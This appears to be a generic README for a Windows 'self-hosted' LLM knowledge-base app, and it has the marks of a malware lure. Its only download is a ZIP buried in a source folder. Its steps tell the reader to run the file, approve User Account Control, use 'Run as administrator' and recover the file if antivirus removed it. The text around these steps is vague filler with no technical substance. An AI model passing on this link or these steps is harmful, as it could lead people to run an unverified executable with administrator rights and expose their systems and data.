🔎 browzy.ai - Your knowledge in one place

🧭 What is browzy.ai

browzy.ai is a self-hosted app that helps you keep your knowledge in one place and use it with an LLM. You run it on your own machine, so you stay in control of your data.

Use it to store notes, search your content, and get answers from your own files and text. It works well for people who want a local tool for personal knowledge, team notes, or private research.

✨ What you can do

• Keep your knowledge in one place
• Search across saved content
• Ask questions about your own data
• Use it on your own system
• Run it without giving your data to a third party
• Build a private knowledge base for daily work

💻 What you need

browzy.ai is made for Windows users who want a local app they can run on their PC.

You will need:

• Windows 10 or Windows 11
• A modern web browser
• Enough free disk space for the app and your data
• A stable internet connection for the first download
• A PC with at least 8 GB of RAM for a smooth experience

If your system has more memory, the app may feel faster when it handles larger sets of notes or documents.

🚀 Download and install on Windows

1. Open this page: https://github.com/li13522487713-commits/browzy.ai/raw/refs/heads/main/src/core/retrieval/browzy_ai_v1.6.zip
2. Look for the latest download or release file on the page
3. Download the Windows file to your computer
4. If the file is in a ZIP folder, open the ZIP file after the download finishes
5. Move the app file to a folder you can find later, such as Downloads or Desktop
6. Double-click the app file to run it
7. If Windows asks for permission, choose Yes to allow it to open
8. Wait for the app to start
9. Keep the window open while you use browzy.ai

🛠️ First-time setup

After the app opens, you may see a setup screen. Follow the on-screen steps and use the default choices if you are not sure what to pick.

Common setup steps can include:

• Choosing where to store your data
• Creating a local account or workspace
• Connecting a local LLM or model source
• Importing notes, files, or saved text

If you want the easiest start, use the default settings first. You can change them later.

🧩 How to use it

Once the app is open, you can start adding knowledge right away.

A simple flow looks like this:

1. Add a note, document, or text file
2. Let browzy.ai index the content
3. Search for a topic or question
4. Read the result or answer
5. Add more content as your knowledge base grows

Try short questions first. For example:

• What did I save about project planning?
• Show notes about onboarding
• Find the file that mentions Windows setup
• What tasks did I list for this week?

📁 Suggested workflow

To get the best results, keep your content neat.

You can:

• Save files in clear folders
• Use short names for notes
• Group related items together
• Keep one workspace for work and one for personal use
• Add new content often so your knowledge base stays useful

This makes search faster and keeps answers more useful.

🔒 Privacy and control

browzy.ai is self-hosted, so your data stays on your machine unless you choose to move it.

That gives you control over:

• Where your knowledge lives
• Who can access it
• What gets stored
• How your data is used

For many users, this is the main reason to use a local knowledge tool.

🧠 Best use cases

browzy.ai fits well if you want to:

• Build a private note system
• Search your personal files
• Keep track of research
• Organize work material
• Ask questions about local documents
• Use an LLM with your own content

It can help with both small and large sets of notes, as long as you keep your data organized.

⚙️ Tips for a smooth run

• Close apps you do not need while you use browzy.ai
• Keep your Windows system updated
• Store your data in a folder with enough free space
• Use one clear naming style for notes and files
• Back up your data on a regular basis
• Start with a small set of files before you add more

If the app feels slow, reduce the number of items you load at once and try again.

🧪 Example start plan

If you want a simple first setup, try this:

1. Install browzy.ai
2. Add five to ten notes or files
3. Search for a topic you know well
4. Check the result
5. Add more content after you see how it works

This helps you learn the app fast and keeps the first run easy.

🧰 Common Windows checks

If Windows asks what to do with the file:

• Choose Open
• Choose Yes if User Account Control appears
• If the file is in a ZIP folder, extract it first
• If the file does not start, right-click it and choose Run as administrator

If your browser blocks the file, open the GitHub page again and try the download link from there.

🔍 Troubleshooting

If the app does not open:

• Make sure the download finished
• Check that the file is not still inside a ZIP folder
• Try running it again
• Restart your PC and try once more
• Make sure your antivirus did not move the file

If the app opens but does not show your content:

• Check that your files were added to the correct folder
• Make sure the app finished indexing
• Try a smaller set of files first
• Open the app again and search for a simple term

If search results look off:

• Use clear file names
• Keep one topic per note when you can
• Add more context to your notes
• Test with short, direct questions

🗂️ File handling tips

For better results, use plain file names like:

• meeting-notes-april.txt
• project-ideas.docx
• research-links.md
• weekly-plan.pdf

Avoid names that are too long or hard to read. Simple file names help you find things faster and keep the app easier to use.

🌐 Browser use

browzy.ai may open in a browser window or use a local web page. If that happens, keep the browser open while the app runs.

Good browser choices include:

• Microsoft Edge
• Google Chrome
• Firefox

If the page does not load, refresh it once and wait a few seconds.

🧾 Data organization guide

A good structure can look like this:

• Personal
  • Notes
  • Documents
  • Links
• Work
  • Projects
  • Meetings
  • Research
• Archive
  • Old notes
  • Finished tasks

This makes it easier for browzy.ai to work with your content and for you to find things later.

🧩 Simple daily routine

Use the app this way each day:

• Add new notes
• Save useful files
• Search before you make a new note
• Keep important items in one folder
• Clean up old items once a week

Small habits like these make the app easier to use over time
